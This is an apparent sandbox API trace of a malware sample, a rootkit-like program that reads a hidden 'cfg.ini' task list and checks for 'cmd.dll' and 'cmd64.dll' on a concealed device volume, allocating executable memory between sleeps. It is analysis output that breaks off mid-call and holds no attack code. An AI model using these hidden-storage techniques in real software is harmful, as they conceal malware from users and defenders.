[0118.637] KeEnterCriticalRegion () [0118.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.637] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.637] KeLeaveCriticalRegion () [0118.637] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.637] KeEnterCriticalRegion () [0118.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.637] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.637] IdePortDispatch () returned 0x103 [0118.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.638] KeLeaveCriticalRegion () [0118.638] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.638] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.638] KeEnterCriticalRegion () [0118.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.638] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003525000 [0118.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.638] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.638] IdePortDispatch () returned 0x103 [0118.638] KeWaitForMutexObject () returned 0x0 [0118.638] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.638] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.638] IdePortDispatch () returned 0x103 [0118.638] KeWaitForMutexObject () returned 0x0 [0118.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.639] KeLeaveCriticalRegion () [0118.639] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.639] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.639] KeEnterCriticalRegion () [0118.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.639] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.639] KeLeaveCriticalRegion () [0118.639] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.639] KeEnterCriticalRegion () [0118.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.639] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.640] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.640] KeLeaveCriticalRegion () [0118.640] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.640] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.640] KeEnterCriticalRegion () [0118.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.640] ExFreePoolWithTag (P=0xfffffa8003bd7240, Tag=0x0) [0118.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.640] KeLeaveCriticalRegion () [0118.640] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.640] ReleaseMutex (hMutex=0xf0) returned 1 [0118.640] Sleep (dwMilliseconds=0x927c0) [0118.656] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.656] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.656] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.657] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.657] KeEnterCriticalRegion () [0118.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.657] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.657] IdePortDispatch () returned 0x103 [0118.657] KeWaitForMutexObject () returned 0x0 [0118.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.657] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.657] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.657] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.657] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.657] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdfde0 [0118.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.657] KeLeaveCriticalRegion () [0118.657] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.657] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.657] KeEnterCriticalRegion () [0118.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.657] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.657] KeLeaveCriticalRegion () [0118.657] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.657] KeEnterCriticalRegion () [0118.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.658] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.658] IdePortDispatch () returned 0x103 [0118.658] KeWaitForMutexObject () returned 0x0 [0118.658] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.658] KeLeaveCriticalRegion () [0118.658] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.658] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.658] KeEnterCriticalRegion () [0118.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.658] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352a000 [0118.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.658] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.658] IdePortDispatch () returned 0x103 [0118.659] KeWaitForMutexObject () returned 0x0 [0118.659] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.659] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.659] IdePortDispatch () returned 0x103 [0118.659] KeWaitForMutexObject () returned 0x0 [0118.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.659] KeLeaveCriticalRegion () [0118.659] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.660] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.660] KeEnterCriticalRegion () [0118.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.660] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.660] KeLeaveCriticalRegion () [0118.660] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.660] KeEnterCriticalRegion () [0118.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.660] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.660] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.660] KeLeaveCriticalRegion () [0118.660] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.660] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.660] KeEnterCriticalRegion () [0118.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.660] ExFreePoolWithTag (P=0xfffffa8003bdfde0, Tag=0x0) [0118.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.660] KeLeaveCriticalRegion () [0118.660] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.660] ReleaseMutex (hMutex=0xf0) returned 1 [0118.660] Sleep (dwMilliseconds=0x927c0) [0118.680] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.680] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.680] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.680] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.680] KeEnterCriticalRegion () [0118.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.680] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.681] IdePortDispatch () returned 0x103 [0118.681] KeWaitForMutexObject () returned 0x0 [0118.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.681] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.681] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.681] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.681] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.681] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bac910 [0118.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.681] KeLeaveCriticalRegion () [0118.681] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.681] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.681] KeEnterCriticalRegion () [0118.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.681] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.681] KeLeaveCriticalRegion () [0118.681] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.681] KeEnterCriticalRegion () [0118.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.681] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.681] IdePortDispatch () returned 0x103 [0118.682] KeWaitForMutexObject () returned 0x0 [0118.682] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.682] KeLeaveCriticalRegion () [0118.682] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.682] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.682] KeEnterCriticalRegion () [0118.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.682] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352f000 [0118.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.682] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.682] IdePortDispatch () returned 0x103 [0118.682] KeWaitForMutexObject () returned 0x0 [0118.682] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.683] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.683] IdePortDispatch () returned 0x103 [0118.683] KeWaitForMutexObject () returned 0x0 [0118.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.683] KeLeaveCriticalRegion () [0118.683] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.684] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.684] KeEnterCriticalRegion () [0118.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.684] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.684] KeLeaveCriticalRegion () [0118.684] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.684] KeEnterCriticalRegion () [0118.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.684] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.684] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.684] KeLeaveCriticalRegion () [0118.684] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.684] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.684] KeEnterCriticalRegion () [0118.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.684] ExFreePoolWithTag (P=0xfffffa8003bac910, Tag=0x0) [0118.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.684] KeLeaveCriticalRegion () [0118.684] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.684] ReleaseMutex (hMutex=0xf0) returned 1 [0118.684] Sleep (dwMilliseconds=0x927c0) [0118.686] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.686] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.695] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.695] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.695] KeEnterCriticalRegion () [0118.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.695] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.695] IdePortDispatch () returned 0x103 [0118.695] KeWaitForMutexObject () returned 0x0 [0118.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.695] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.695] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.695] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.695] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.695] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cf830 [0118.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.695] KeLeaveCriticalRegion () [0118.695] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.695] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.695] KeEnterCriticalRegion () [0118.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.696] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.696] KeLeaveCriticalRegion () [0118.696] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.696] KeEnterCriticalRegion () [0118.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.696] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.696] IdePortDispatch () returned 0x103 [0118.696] KeWaitForMutexObject () returned 0x0 [0118.696] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.696] KeLeaveCriticalRegion () [0118.696] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.696] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.696] KeEnterCriticalRegion () [0118.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.696] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c12000 [0118.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.696] IoAllocateMdl (in: 